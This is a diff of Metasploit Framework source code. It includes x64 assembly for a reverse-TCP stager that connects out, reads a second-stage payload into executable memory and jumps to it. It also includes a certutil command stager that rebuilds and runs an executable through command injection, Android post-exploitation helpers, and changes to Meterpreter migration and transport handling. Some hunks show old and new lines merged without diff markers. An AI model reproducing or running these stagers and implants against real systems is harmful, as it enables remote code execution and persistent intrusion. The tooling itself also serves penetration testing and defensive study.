||||
call rbp ; LoadLibraryA( "ws2_32" )
|
||||
mov rcx, r14 ; set the param for the library to load
|
||||
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
|
||||
call rbp ; LoadLibraryA( "ws2_32" )
|
||||
|
||||
; perform the call to WSAStartup...
|
||||
mov rdx, r13 ; second param is a pointer to this stuct
|
||||
push 0x0101 ;
|
||||
pop rcx ; set the param for the version requested
|
||||
mov r10d, 0x006B8029 ; hash( "ws2_32.dll", "WSAStartup" )
|
||||
call rbp ; WSAStartup( 0x0101, &WSAData );
|
||||
mov rdx, r13 ; second param is a pointer to this stuct
|
||||
push 0x0101 ;
|
||||
pop rcx ; set the param for the version requested
|
||||
mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')}
|
||||
call rbp ; WSAStartup( 0x0101, &WSAData );
|
||||
|
||||
; stick the retry count on the stack and store it
|
||||
push #{retry_count} ; retry counter
|
||||
pop r14
|
||||
|
||||
create_socket:
|
||||
; perform the call to WSASocketA...
|
||||
push rax ; if we succeed, rax wil be zero, push zero for the flags param.
|
||||
push rax ; push null for reserved parameter
|
||||
xor r9, r9 ; we do not specify a WSAPROTOCOL_INFO structure
|
||||
xor r8, r8 ; we do not specify a protocol
|
||||
inc rax ;
|
||||
mov rdx, rax ; push SOCK_STREAM
|
||||
inc rax ;
|
||||
mov rcx, rax ; push AF_INET
|
||||
mov r10d, 0xE0DF0FEA ; hash( "ws2_32.dll", "WSASocketA" )
|
||||
call rbp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
|
||||
mov rdi, rax ; save the socket for later
|
||||
push rax ; if we succeed, rax wil be zero, push zero for the flags param.
|
||||
push rax ; push null for reserved parameter
|
||||
xor r9, r9 ; we do not specify a WSAPROTOCOL_INFO structure
|
||||
xor r8, r8 ; we do not specify a protocol
|
||||
inc rax ;
|
||||
mov rdx, rax ; push SOCK_STREAM
|
||||
inc rax ;
|
||||
mov rcx, rax ; push AF_INET
|
||||
mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')}
|
||||
call rbp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
|
||||
mov rdi, rax ; save the socket for later
|
||||
|
||||
try_connect:
|
||||
; perform the call to connect...
|
||||
push 16 ; length of the sockaddr struct
|
||||
pop r8 ; pop off the third param
|
||||
mov rdx, r12 ; set second param to pointer to sockaddr struct
|
||||
mov rcx, rdi ; the socket
|
||||
mov r10d, 0x6174A599 ; hash( "ws2_32.dll", "connect" )
|
||||
call rbp ; connect( s, &sockaddr, 16 );
|
||||
; restore RSP so we dont have any alignment issues with the next block...
|
||||
add rsp, #{408+8+8*4+32*4} ; cleanup the stack allocations
|
||||
push 16 ; length of the sockaddr struct
|
||||
pop r8 ; pop off the third param
|
||||
mov rdx, r12 ; set second param to pointer to sockaddr struct
|
||||
mov rcx, rdi ; the socket
|
||||
mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'connect')}
|
||||
call rbp ; connect( s, &sockaddr, 16 );
|
||||
|
||||
test eax, eax ; non-zero means failure
|
||||
jz connected
|
||||
|
||||
handle_connect_failure:
|
||||
dec r14 ; decrement the retry count
|
||||
jnz try_connect
|
||||
^
|
||||
|
||||
if opts[:exitfunk]
|
||||
asm << %Q^
|
||||
failure:
|
||||
call exitfunk
|
||||
^
|
||||
else
|
||||
asm << %Q^
|
||||
failure:
|
||||
push 0x56A2B5F0 ; hardcoded to exitprocess for size
|
||||
call rbp
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
; this lable is required so that reconnect attempts include
|
||||
; the UUID stuff if required.
|
||||
connected:
|
||||
^
|
||||
asm << asm_send_uuid if include_send_uuid
|
||||
|
||||
asm << %Q^
|
||||
recv:
|
||||
; Receive the size of the incoming second stage...
|
||||
sub rsp, 16 ; alloc some space (16 bytes) on stack for to hold the second stage length
|
||||
mov rdx, rsp ; set pointer to this buffer
|
||||
xor r9, r9 ; flags
|
||||
push 4 ;
|
||||
pop r8 ; length = sizeof( DWORD );
|
||||
mov rcx, rdi ; the saved socket
|
||||
mov r10d, 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
|
||||
call rbp ; recv( s, &dwLength, 4, 0 );
|
||||
add rsp, 32 ; we restore RSP from the api_call so we can pop off RSI next
|
||||
; Alloc a RWX buffer for the second stage
|
||||
pop rsi ; pop off the second stage length
|
||||
push 0x40 ;
|
||||
pop r9 ; PAGE_EXECUTE_READWRITE
|
||||
push 0x1000 ;
|
||||
pop r8 ; MEM_COMMIT
|
||||
mov rdx, rsi ; the newly recieved second stage length.
|
||||
xor rcx, rcx ; NULL as we dont care where the allocation is.
|
||||
mov r10d, 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
|
||||
call rbp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||
; Receive the size of the incoming second stage...
|
||||
sub rsp, 16 ; alloc some space (16 bytes) on stack for to hold the
|
||||
; second stage length
|
||||
mov rdx, rsp ; set pointer to this buffer
|
||||
xor r9, r9 ; flags
|
||||
push 4 ;
|
||||
pop r8 ; length = sizeof( DWORD );
|
||||
mov rcx, rdi ; the saved socket
|
||||
mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')}
|
||||
call rbp ; recv( s, &dwLength, 4, 0 );
|
||||
^
|
||||
|
||||
if reliable
|
||||
asm << %Q^
|
||||
; reliability: check to see if the recv worked, and reconnect
|
||||
; if it fails
|
||||
cmp eax, 0
|
||||
jle cleanup_socket
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
add rsp, 32 ; we restore RSP from the api_call so we can pop off RSI next
|
||||
|
||||
; Alloc a RWX buffer for the second stage
|
||||
pop rsi ; pop off the second stage length
|
||||
movsxd rsi, esi ; only use the lower-order 32 bits for the size
|
||||
push 0x40 ;
|
||||
pop r9 ; PAGE_EXECUTE_READWRITE
|
||||
push 0x1000 ;
|
||||
pop r8 ; MEM_COMMIT
|
||||
mov rdx, rsi ; the newly recieved second stage length.
|
||||
xor rcx, rcx ; NULL as we dont care where the allocation is.
|
||||
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
|
||||
call rbp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||
; Receive the second stage and execute it...
|
||||
mov rbx, rax ; rbx = our new memory address for the new stage
|
||||
mov r15, rax ; save the address so we can jump into it later
|
||||
read_more: ;
|
||||
xor r9, r9 ; flags
|
||||
mov r8, rsi ; length
|
||||
mov rdx, rbx ; the current address into our second stages RWX buffer
|
||||
mov rcx, rdi ; the saved socket
|
||||
mov r10d, 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
|
||||
call rbp ; recv( s, buffer, length, 0 );
|
||||
add rbx, rax ; buffer += bytes_received
|
||||
sub rsi, rax ; length -= bytes_received
|
||||
test rsi, rsi ; test length
|
||||
jnz read_more ; continue if we have more to read
|
||||
jmp r15 ; return into the second stage
|
||||
mov rbx, rax ; rbx = our new memory address for the new stage
|
||||
mov r15, rax ; save the address so we can jump into it later
|
||||
|
||||
read_more: ;
|
||||
xor r9, r9 ; flags
|
||||
mov r8, rsi ; length
|
||||
mov rdx, rbx ; the current address into our second stages RWX buffer
|
||||
mov rcx, rdi ; the saved socket
|
||||
mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')}
|
||||
call rbp ; recv( s, buffer, length, 0 );
|
||||
^
|
||||
|
||||
if reliable
|
||||
asm << %Q^
|
||||
; reliability: check to see if the recv worked, and reconnect
|
||||
; if it fails
|
||||
cmp eax, 0
|
||||
jge read_successful
|
||||
|
||||
; something failed so free up memory
|
||||
pop rax
|
||||
push r15
|
||||
pop rcx ; lpAddress
|
||||
push 0x4000 ; MEM_COMMIT
|
||||
pop r8 ; dwFreeType
|
||||
push 0 ; 0
|
||||
pop rdx ; dwSize
|
||||
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualFree')}
|
||||
call rbp ; VirtualFree(payload, 0, MEM_COMMIT)
|
||||
|
||||
cleanup_socket:
|
||||
; clean up the socket
|
||||
push rdi ; socket handle
|
||||
pop rcx ; s (closesocket parameter)
|
||||
mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')}
|
||||
call rbp
|
||||
|
||||
; and try again
|
||||
dec r14 ; decrement the retry count
|
||||
jmp create_socket
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
read_successful:
|
||||
add rbx, rax ; buffer += bytes_received
|
||||
sub rsi, rax ; length -= bytes_received
|
||||
test rsi, rsi ; test length
|
||||
jnz read_more ; continue if we have more to read
|
||||
jmp r15 ; return into the second stage
|
||||
^
|
||||
|
||||
if opts[:exitfunk]
|
||||
|
|
|
@ -0,0 +1,8 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf::Post::Android
|
||||
|
||||
require 'msf/core/post/android/system'
|
||||
require 'msf/core/post/android/priv'
|
||||
|
||||
end
|
|
@ -0,0 +1,35 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core/post/common'
|
||||
require 'msf/core/post/file'
|
||||
require 'msf/core/post/unix'
|
||||
|
||||
module Msf
|
||||
class Post
|
||||
module Android
|
||||
module Priv
|
||||
|
||||
include Msf::Post::Common
|
||||
|
||||
public
|
||||
|
||||
# Returns whether we are running as root or not.
|
||||
#
|
||||
# @return [Boolean] TrueClass if as root, otherwise FalseClass.
|
||||
def is_root?
|
||||
id = cmd_exec('id')
|
||||
uid = id.scan(/uid=(\d+)(.+)/).flatten.first
|
||||
if /^0$/ === uid
|
||||
return true
|
||||
else
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
def get_id
|
||||
cmd_exec('id')
|
||||
end
|
||||
|
||||
end ; end ; end ; end
|
|
@ -0,0 +1,31 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core/post/common'
|
||||
require 'msf/core/post/file'
|
||||
require 'msf/core/post/unix'
|
||||
|
||||
module Msf
|
||||
class Post
|
||||
module Android
|
||||
module System
|
||||
|
||||
include Msf::Post::Common
|
||||
include Msf::Post::File
|
||||
|
||||
# Returns system information from build.prop.
|
||||
#
|
||||
# @return [Hash] System information.
|
||||
def get_build_prop
|
||||
sys_data = {}
|
||||
build_prop = cmd_exec('cat /system/build.prop')
|
||||
|
||||
return sys_data if build_prop.blank?
|
||||
|
||||
build_prop.scan(/(.+)=(.+)/i).collect {|e| Hash[*e]}.each do |setting|
|
||||
sys_data.merge!(setting)
|
||||
end
|
||||
|
||||
return sys_data
|
||||
end
|
||||
|
||||
end ; end ; end ; end
|
|
@ -186,15 +186,7 @@ class Driver < Msf::Ui::Driver
|
|||
|
||||
# framework.db.active will be true if after_establish_connection ran directly when connection_established? was
|
||||
# already true or if framework.db.connect called after_establish_connection.
|
||||
if framework.db.active
|
||||
unless opts['DeferModuleLoads']
|
||||
self.framework.modules.refresh_cache_from_database
|
||||
|
||||
if self.framework.modules.cache_empty?
|
||||
print_status("The initial module cache will be built in the background, this can take 2-5 minutes...")
|
||||
end
|
||||
end
|
||||
elsif !framework.db.error.nil?
|
||||
if !! framework.db.error
|
||||
if framework.db.error.to_s =~ /RubyGem version.*pg.*0\.11/i
|
||||
print_error("***")
|
||||
print_error("*")
|
||||
|
@ -217,12 +209,15 @@ class Driver < Msf::Ui::Driver
|
|||
# Initialize the module paths only if we didn't get passed a Framework instance and 'DeferModuleLoads' is false
|
||||
unless opts['Framework'] || opts['DeferModuleLoads']
|
||||
# Configure the framework module paths
|
||||
self.framework.init_module_paths
|
||||
self.framework.modules.add_module_path(opts['ModulePath']) if opts['ModulePath']
|
||||
self.framework.init_module_paths(module_paths: opts['ModulePath'])
|
||||
end
|
||||
|
||||
# Rebuild the module cache in a background thread
|
||||
self.framework.threads.spawn("ModuleCacheRebuild", true) do
|
||||
self.framework.modules.refresh_cache_from_module_files
|
||||
if framework.db.active && !opts['DeferModuleLoads']
|
||||
if self.framework.modules.cache_empty?
|
||||
self.framework.threads.spawn("ModuleCacheRebuild", true) do
|
||||
self.framework.modules.refresh_cache_from_module_files
|
||||
end
|
||||
print_status("The initial module cache will be built in the background, this can take 2-5 minutes...")
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -40,7 +40,7 @@ module Net # :nodoc:
|
|||
when Fixnum
|
||||
return Classes.invert.has_key?(cls)
|
||||
else
|
||||
raise ClassArgumentError, "Wrong cls class: #{cls.class}"
|
||||
raise ClassArgumentError, "Wrong class: #{cls.class}"
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -55,7 +55,7 @@ module Net # :nodoc:
|
|||
raise ClassArgumentError, "Unknown class number #{cls}"
|
||||
end
|
||||
else
|
||||
raise ClassArgumentError, "Wrong cls class: #{cls.class}"
|
||||
raise ClassArgumentError, "Wrong class: #{cls.class}"
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -81,7 +81,7 @@ module Net # :nodoc:
|
|||
@str = Classes.invert[@@default]
|
||||
@num = @@default
|
||||
else
|
||||
raise ClassArgumentError, "Wrong cls class: #{cls.class}"
|
||||
raise ClassArgumentError, "Wrong class: #{cls.class}"
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -89,15 +89,15 @@ module Net # :nodoc:
|
|||
# *PRIVATE* method
|
||||
def new_from_string(cls)
|
||||
case cls
|
||||
when /^CLASS\\d+/
|
||||
# TODO!!!
|
||||
when /^CLASS(\d+)$/
|
||||
new_from_num(Regexp.last_match(1).to_i)
|
||||
else
|
||||
# String with name of class
|
||||
if Classes.has_key? cls
|
||||
@str = cls
|
||||
@num = Classes[cls]
|
||||
else
|
||||
raise ClassesArgumentError, "Unknown cls #{cls}"
|
||||
raise ClassArgumentError, "Unknown class #{cls}"
|
||||
end
|
||||
end
|
||||
end
|
||||
|
@ -105,11 +105,13 @@ module Net # :nodoc:
|
|||
# Contructor for numeric data class
|
||||
# *PRIVATE* method
|
||||
def new_from_num(cls)
|
||||
raise ClassArgumentError, "Invalid class #{cls}" if cls < 0 || cls > 0xFFFF
|
||||
if Classes.invert.has_key? cls
|
||||
@num = cls
|
||||
@str = Classes.invert[cls]
|
||||
else
|
||||
raise ClassesArgumentError, "Unknown cls number #{cls}"
|
||||
@num = cls
|
||||
@str = "CLASS#{cls}"
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -167,8 +167,8 @@ module Net # :nodoc:
|
|||
# *PRIVATE* method
|
||||
def new_from_string(type)
|
||||
case type
|
||||
when /^TYPE\\d+/
|
||||
# TODO!!!
|
||||
when /^TYPE(\d+)$/
|
||||
new_from_num(Regexp.last_match(1).to_i)
|
||||
else
|
||||
# String with name of type
|
||||
if Types.has_key? type
|
||||
|
@ -183,11 +183,13 @@ module Net # :nodoc:
|
|||
# Contructor for numeric data type
|
||||
# *PRIVATE* method
|
||||
def new_from_num(type)
|
||||
raise TypeArgumentError, "Invalid type #{type}" if type < 0 || type > 0xFFFF
|
||||
if Types.invert.has_key? type
|
||||
@num = type
|
||||
@str = Types.invert[type]
|
||||
else
|
||||
raise TypeArgumentError, "Unknown type number #{type}"
|
||||
@num = type
|
||||
@str = "TYPE#{type}"
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -2,6 +2,7 @@
|
|||
|
||||
require 'rex/exploitation/cmdstager/base'
|
||||
require 'rex/exploitation/cmdstager/vbs'
|
||||
require 'rex/exploitation/cmdstager/certutil'
|
||||
require 'rex/exploitation/cmdstager/debug_write'
|
||||
require 'rex/exploitation/cmdstager/debug_asm'
|
||||
require 'rex/exploitation/cmdstager/tftp'
|
||||
|
|
|
@ -0,0 +1,115 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/text'
|
||||
require 'rex/arch'
|
||||
require 'msf/core/framework'
|
||||
|
||||
module Rex
|
||||
module Exploitation
|
||||
|
||||
###
|
||||
#
|
||||
# This class provides the ability to create a sequence of commands from an executable.
|
||||
# When this sequence is ran via command injection or a shell, the resulting exe will
|
||||
# be written to disk and executed.
|
||||
#
|
||||
# This particular version uses Windows certutil to base64 decode a file,
|
||||
# created via echo >>, and decode it to the final binary.
|
||||
#
|
||||
#
|
||||
# Written by xistence
|
||||
# Original discovery by @mattifestation - https://gist.github.com/mattifestation/47f9e8a431f96a266522
|
||||
#
|
||||
###
|
||||
|
||||
class CmdStagerCertutil < CmdStagerBase
|
||||
|
||||
def initialize(exe)
|
||||
super
|
||||
|
||||
@var_encoded = Rex::Text.rand_text_alpha(5)
|
||||
@var_decoded = Rex::Text.rand_text_alpha(5)
|
||||
@decoder = nil # filled in later
|
||||
end
|
||||
|
||||
|
||||
# Override just to set the extra byte count
|
||||
# @param opts [Array] The options to generate the command line
|
||||
# @return [Array] The complete command line
|
||||
def generate_cmds(opts)
|
||||
# Set the start/end of the commands here (vs initialize) so we have @tempdir
|
||||
@cmd_start = "echo "
|
||||
@cmd_end = ">>#{@tempdir}#{@var_encoded}.b64"
|
||||
xtra_len = @cmd_start.length + @cmd_end.length + 1
|
||||
opts.merge!({ :extra => xtra_len })
|
||||
super
|
||||
end
|
||||
|
||||
|
||||
# Simple base64 encoder for the executable
|
||||
# @param opts [Array] The options to generate the command line
|
||||
# @return [String] Base64 encoded executable
|
||||
def encode_payload(opts)
|
||||
Rex::Text.encode_base64(@exe)
|
||||
end
|
||||
|
||||
|
||||
# Combine the parts of the encoded file with the stuff that goes
|
||||
# before / after it.
|
||||
# @param parts [Array] Splitted commands
|
||||
# @param opts [Array] The options to generate the command line
|
||||
# @return [Array] The command line
|
||||
def parts_to_commands(parts, opts)
|
||||
|
||||
cmds = []
|
||||
parts.each do |p|
|
||||
cmd = ''
|
||||
cmd << @cmd_start
|
||||
cmd << p
|
||||
cmd << @cmd_end
|
||||
cmds << cmd
|
||||
end
|
||||
|
||||
cmds
|
||||
end
|
||||
|
||||
|
||||
# Generate the commands that will decode the file we just created
|
||||
# @param opts [Array] The options to generate the command line
|
||||
# @return [Array] The certutil Base64 decoder part of the command line
|
||||
def generate_cmds_decoder(opts)
|
||||
|
||||
cmds = []
|
||||
cmds << "certutil -decode #{@tempdir}#{@var_encoded}.b64 #{@tempdir}#{@var_decoded}.exe"
|
||||
return cmds
|
||||
end
|
||||
|
||||
|
||||
# We override compress commands just to stick in a few extra commands
|
||||
# last second..
|
||||
# @param cmds [Array] Complete command line
|
||||
# @param opts [Array] Extra options for command line generation
|
||||
# @return [Array] The complete command line including cleanup
|
||||
def compress_commands(cmds, opts)
|
||||
# Make it all happen
|
||||
cmds << "#{@tempdir}#{@var_decoded}.exe"
|
||||
|
||||
# Clean up after unless requested not to..
|
||||
if (not opts[:nodelete])
|
||||
cmds << "del #{@tempdir}#{@var_encoded}.b64"
|
||||
# NOTE: We won't be able to delete the exe while it's in use.
|
||||
end
|
||||
|
||||
super
|
||||
end
|
||||
|
||||
# Windows uses & to concat strings
|
||||
#
|
||||
# @return [String] Concat operator
|
||||
def cmd_concat_operator
|
||||
" & "
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
|
@ -54,7 +54,7 @@ class ClientCore < Extension
|
|||
# Initializes the 'core' portion of the meterpreter client commands.
|
||||
#
|
||||
def initialize(client)
|
||||
super(client, "core")
|
||||
super(client, 'core')
|
||||
end
|
||||
|
||||
##
|
||||
|
@ -81,7 +81,7 @@ class ClientCore < Extension
|
|||
|
||||
# No response?
|
||||
if response.nil?
|
||||
raise RuntimeError, "No response was received to the core_enumextcmd request.", caller
|
||||
raise RuntimeError, 'No response was received to the core_enumextcmd request.', caller
|
||||
elsif response.result != 0
|
||||
# This case happens when the target doesn't support the core_enumextcmd message.
|
||||
# If this is the case, then we just want to ignore the error and return an empty
|
||||
|
@ -180,7 +180,7 @@ class ClientCore < Extension
|
|||
|
||||
# No library path, no cookie.
|
||||
if library_path.nil?
|
||||
raise ArgumentError, "No library file path was supplied", caller
|
||||
raise ArgumentError, 'No library file path was supplied', caller
|
||||
end
|
||||
|
||||
# Set up the proper loading flags
|
||||
|
@ -215,7 +215,7 @@ class ClientCore < Extension
|
|||
# path of the local and target so that it gets loaded with a random
|
||||
# name
|
||||
if opts['Extension']
|
||||
library_path = "ext" + rand(1000000).to_s + ".#{client.binary_suffix}"
|
||||
library_path = "ext#{rand(1000000)}.#{client.binary_suffix}"
|
||||
target_path = library_path
|
||||
end
|
||||
end
|
||||
|
@ -233,7 +233,7 @@ class ClientCore < Extension
|
|||
|
||||
# No response?
|
||||
if response.nil?
|
||||
raise RuntimeError, "No response was received to the core_loadlib request.", caller
|
||||
raise RuntimeError, 'No response was received to the core_loadlib request.', caller
|
||||
elsif response.result != 0
|
||||
raise RuntimeError, "The core_loadlib request failed with result: #{response.result}.", caller
|
||||
end
|
||||
|
@ -431,16 +431,16 @@ class ClientCore < Extension
|
|||
# Migrates the meterpreter instance to the process specified
|
||||
# by pid. The connection to the server remains established.
|
||||
#
|
||||
def migrate(pid, writable_dir = nil)
|
||||
keepalive = client.send_keepalives
|
||||
def migrate(pid, writable_dir = nil, opts = {})
|
||||
keepalive = client.send_keepalives
|
||||
client.send_keepalives = false
|
||||
process = nil
|
||||
binary_suffix = nil
|
||||
old_platform = client.platform
|
||||
old_binary_suffix = client.binary_suffix
|
||||
process = nil
|
||||
binary_suffix = nil
|
||||
old_platform = client.platform
|
||||
old_binary_suffix = client.binary_suffix
|
||||
|
||||
# Load in the stdapi extension if not allready present so we can determine the target pid architecture...
|
||||
client.core.use( "stdapi" ) if not client.ext.aliases.include?( "stdapi" )
|
||||
client.core.use('stdapi') if not client.ext.aliases.include?('stdapi')
|
||||
|
||||
# Determine the architecture for the pid we are going to migrate into...
|
||||
client.sys.process.processes.each { | p |
|
||||
|
@ -452,7 +452,7 @@ class ClientCore < Extension
|
|||
|
||||
# We cant migrate into a process that does not exist.
|
||||
unless process
|
||||
raise RuntimeError, "Cannot migrate into non existent process", caller
|
||||
raise RuntimeError, 'Cannot migrate into non existent process', caller
|
||||
end
|
||||
|
||||
# We cannot migrate into a process that we are unable to open
|
||||
|
@ -465,7 +465,7 @@ class ClientCore < Extension
|
|||
|
||||
# And we also cannot migrate into our own current process...
|
||||
if process['pid'] == client.sys.process.getpid
|
||||
raise RuntimeError, "Cannot migrate into current process", caller
|
||||
raise RuntimeError, 'Cannot migrate into current process', caller
|
||||
end
|
||||
|
||||
if client.platform =~ /linux/
|
||||
|
@ -484,19 +484,19 @@ class ClientCore < Extension
|
|||
blob = generate_payload_stub(process)
|
||||
|
||||
# Build the migration request
|
||||
request = Packet.create_request( 'core_migrate' )
|
||||
request = Packet.create_request('core_migrate')
|
||||
|
||||
if client.platform =~ /linux/i
|
||||
socket_path = File.join(writable_dir, Rex::Text.rand_text_alpha_lower(5 + rand(5)))
|
||||
|
||||
if socket_path.length > UNIX_PATH_MAX - 1
|
||||
raise RuntimeError, "The writable dir is too long", caller
|
||||
raise RuntimeError, 'The writable dir is too long', caller
|
||||
end
|
||||
|
||||
pos = blob.index(DEFAULT_SOCK_PATH)
|
||||
|
||||
if pos.nil?
|
||||
raise RuntimeError, "The meterpreter binary is wrong", caller
|
||||
raise RuntimeError, 'The meterpreter binary is wrong', caller
|
||||
end
|
||||
|
||||
blob[pos, socket_path.length + 1] = socket_path + "\x00"
|
||||
|
@ -510,14 +510,17 @@ class ClientCore < Extension
|
|||
request.add_tlv( TLV_TYPE_MIGRATE_PID, pid )
|
||||
request.add_tlv( TLV_TYPE_MIGRATE_LEN, blob.length )
|
||||
request.add_tlv( TLV_TYPE_MIGRATE_PAYLOAD, blob, false, client.capabilities[:zlib])
|
||||
|
||||
if process['arch'] == ARCH_X86_64
|
||||
request.add_tlv( TLV_TYPE_MIGRATE_ARCH, 2 ) # PROCESS_ARCH_X64
|
||||
else
|
||||
request.add_tlv( TLV_TYPE_MIGRATE_ARCH, 1 ) # PROCESS_ARCH_X86
|
||||
end
|
||||
|
||||
# Send the migration request (bump up the timeout to 60 seconds)
|
||||
client.send_request( request, 60 )
|
||||
# Send the migration request. Timeout can be specified by the caller, or set to a min
|
||||
# of 60 seconds.
|
||||
timeout = [(opts[:timeout] || 0), 60].max
|
||||
client.send_request(request, timeout)
|
||||
|
||||
if client.passive_service
|
||||
# Sleep for 5 seconds to allow the full handoff, this prevents
|
||||
|
@ -539,7 +542,7 @@ class ClientCore < Extension
|
|||
# keep from hanging the packet dispatcher thread, which results
|
||||
# in blocking the entire process.
|
||||
begin
|
||||
Timeout.timeout(60) do
|
||||
Timeout.timeout(timeout) do
|
||||
# Renegotiate SSL over this socket
|
||||
client.swap_sock_ssl_to_plain()
|
||||
client.swap_sock_plain_to_ssl()
|
||||
|
@ -600,10 +603,10 @@ class ClientCore < Extension
|
|||
if not client.passive_service
|
||||
self.client.send_packet(request)
|
||||
else
|
||||
# If this is a HTTP/HTTPS session we need to wait a few seconds
|
||||
# otherwise the session may not receive the command before we
|
||||
# kill the handler. This could be improved by the server side
|
||||
# sending a reply to shutdown first.
|
||||
# If this is a HTTP/HTTPS session we need to wait a few seconds
|
||||
# otherwise the session may not receive the command before we
|
||||
# kill the handler. This could be improved by the server side
|
||||
# sending a reply to shutdown first.
|
||||
self.client.send_packet_wait_response(request, 10)
|
||||
end
|
||||
true
|
||||
|
|
|
@ -28,6 +28,9 @@ class Console::CommandDispatcher::Core
|
|||
self.extensions = []
|
||||
self.bgjobs = []
|
||||
self.bgjob_id = 0
|
||||
|
||||
# keep a lookup table to refer to transports by index
|
||||
@transport_map = {}
|
||||
end
|
||||
|
||||
@@irb_opts = Rex::Parser::Arguments.new(
|
||||
|
@ -571,6 +574,7 @@ class Console::CommandDispatcher::Core
|
|||
'-t' => [ true, "Transport type: #{Rex::Post::Meterpreter::ClientCore::VALID_TRANSPORTS.keys.join(', ')}" ],
|
||||
'-l' => [ true, 'LHOST parameter (for reverse transports)' ],
|
||||
'-p' => [ true, 'LPORT parameter' ],
|
||||
'-i' => [ true, 'Specify transport by index (currently supported: remove)' ],
|
||||
'-u' => [ true, 'Custom URI for HTTP/S transports (used when removing transports)' ],
|
||||
'-ua' => [ true, 'User agent for HTTP/S transports (optional)' ],
|
||||
'-ph' => [ true, 'Proxy host for HTTP/S transports (optional)' ],
|
||||
|
@ -601,6 +605,13 @@ class Console::CommandDispatcher::Core
|
|||
print_line(@@transport_opts.usage)
|
||||
end
|
||||
|
||||
def update_transport_map
|
||||
result = client.core.transport_list
|
||||
@transport_map.clear
|
||||
sorted_by_url = result[:transports].sort_by { |k| k[:url] }
|
||||
sorted_by_url.each_with_index { |t, i| @transport_map[i+1] = t }
|
||||
end
|
||||
|
||||
#
|
||||
# Manage transports
|
||||
#
|
||||
|
@ -637,12 +648,15 @@ class Console::CommandDispatcher::Core
|
|||
}
|
||||
|
||||
valid = true
|
||||
transport_index = 0
|
||||
@@transport_opts.parse(args) do |opt, idx, val|
|
||||
case opt
|
||||
when '-c'
|
||||
opts[:cert] = val
|
||||
when '-u'
|
||||
opts[:uri] = val
|
||||
when '-i'
|
||||
transport_index = val.to_i
|
||||
when '-ph'
|
||||
opts[:proxy_host] = val
|
||||
when '-pp'
|
||||
|
@ -685,13 +699,21 @@ class Console::CommandDispatcher::Core
|
|||
return
|
||||
end
|
||||
|
||||
update_transport_map
|
||||
|
||||
case command
|
||||
when 'list'
|
||||
result = client.core.transport_list
|
||||
|
||||
current_transport_url = result[:transports].first[:url]
|
||||
|
||||
sorted_by_url = result[:transports].sort_by { |k| k[:url] }
|
||||
|
||||
# this will output the session timeout first
|
||||
print_timeouts(result)
|
||||
|
||||
columns =[
|
||||
'ID',
|
||||
'Curr',
|
||||
'URL',
|
||||
'Comms T/O',
|
||||
|
@ -709,16 +731,13 @@ class Console::CommandDispatcher::Core
|
|||
|
||||
# next draw up a table of transport entries
|
||||
tbl = Rex::Ui::Text::Table.new(
|
||||
'SortIndex' => -1, # disable any sorting
|
||||
'SortIndex' => 0, # sort by ID
|
||||
'Indent' => 4,
|
||||
'Columns' => columns)
|
||||
|
||||
first = true
|
||||
result[:transports].each do |t|
|
||||
entry = [ first ? '*' : '', t[:url], t[:comm_timeout],
|
||||
t[:retry_total], t[:retry_wait] ]
|
||||
|
||||
first = false
|
||||
sorted_by_url.each_with_index do |t, i|
|
||||
entry = [ i+1, (current_transport_url == t[:url]) ? '*' : '', t[:url],
|
||||
t[:comm_timeout], t[:retry_total], t[:retry_wait] ]
|
||||
|
||||
if opts[:verbose]
|
||||
entry << t[:ua]
|
||||
|
@ -772,6 +791,22 @@ class Console::CommandDispatcher::Core
|
|||
return
|
||||
end
|
||||
|
||||
if !transport_index.zero? && @transport_map.has_key?(transport_index)
|
||||
# validate the URL
|
||||
url_to_delete = @transport_map[transport_index][:url]
|
||||
begin
|
||||
uri = URI.parse(url_to_delete)
|
||||
opts[:transport] = "reverse_#{uri.scheme}"
|
||||
opts[:lhost] = uri.host
|
||||
opts[:lport] = uri.port
|
||||
opts[:uri] = uri.path[1..-2] if uri.scheme.include?("http")
|
||||
|
||||
rescue URI::InvalidURIError
|
||||
print_error("Failed to parse URL: #{url_to_delete}")
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
print_status("Removing transport ...")
|
||||
if client.core.transport_remove(opts)
|
||||
print_good("Successfully removed #{opts[:transport]} transport.")
|
||||
|
@ -781,15 +816,21 @@ class Console::CommandDispatcher::Core
|
|||
end
|
||||
end
|
||||
|
||||
@@migrate_opts = Rex::Parser::Arguments.new(
|
||||
'-p' => [true, 'Writable path - Linux only (eg. /tmp).'],
|
||||
